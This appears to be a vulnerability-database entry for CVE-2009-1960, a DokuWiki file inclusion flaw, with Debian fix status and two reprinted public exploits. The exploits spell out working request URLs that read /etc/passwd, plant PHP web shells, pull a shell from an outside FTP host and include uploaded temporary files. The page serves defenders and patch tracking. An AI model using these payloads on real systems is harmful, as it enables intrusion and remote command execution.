CVE-2009-1960
Description
inc/init.php in DokuWiki 2009-02-14, rc2009-02-06, and rc2009-01-30, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the config_cascade[main][default][] parameter to doku.php. NOTE: PHP remote file inclusion is also possible in PHP 5 using ftp:// URLs.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Dokuwiki 2009-02-14 - Local File Inclusion
# Author_ girex
# Homepage_ girex.altervista.org
# CMS_ Dokuwiki
# Homepage_ dokuwiki.org
# Affected versions_ 2009-02-14
rc2009-02-06
rc2009-01-30
# Bug_ Local file inclusion
# Need_ register_globals = On
# Vuln description_
# File: /inc/init.php
// if available load a preload config file
$preload = fullpath(dirname(__FILE__)).'/preload.php';
if (@file_exists($preload)) include($preload);
...
//set the configuration cascade - but only if its not already been set in preload.php
global $config_cascade;
if (empty($config_cascade)) {
$config_cascade = array(
'main' => array(
'default' => array(DOKU_CONF.'dokuwiki.php'),
'local' => array(DOKU_CONF.'local.php'),
'protected' => array(DOKU_CONF.'local.protected.php'),
),
...
// load the global config file(s)
foreach (array('default','local','protected') as $config_group) {
if (empty($config_cascade['main'][$config_group])) continue;
foreach ($config_cascade['main'][$config_group] as $config_file) {
if (@file_exists($config_file)) {
include($config_file);
}
}
}
# File preload.php doesn't exists. (so seems for the affected versions)
# So we can set $config_cascade arrays via register globals
# It's not a RFI couse use of file_exists function.
# First of all you can check the dokuwiki's version here:
# /[host]/[path]/VERSION
# and check if it's a vulnerable version
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README
# Note:
# You can obtain a remote command execution if you can edit the content of a page
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
# And include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
# Or you can check if you have permissions to upload file via:
# [host]/[path]/lib/exe/mediamanager.php
# If so, upload your file with .doc extension then include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
# milw0rm.com [2009-05-26]
Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion
Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working
I was reading: http://www.milw0rm.com/exploits/8781
by girex
[quote]
It's not a RFI couse use of file_exists function.
[/quote]
How wrong brother!
trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)
http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt
trick 2:
needs register_globals = on
file_uploads = On (default)
include a temporary file passed by the $_FILES[] array:
<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>
where your shell is like:
<?php passthru($_GET[cmd]); die();?>
because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !
Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/
# milw0rm.com [2009-05-26]
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.0.20090214b-1 |
| sid | Fixed | 0.0.20090214b-1 |
| forky | Fixed | 0.0.20090214b-1 |
| bullseye | Fixed | 0.0.20090214b-1 |
| bookworm | Fixed | 0.0.20090214b-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.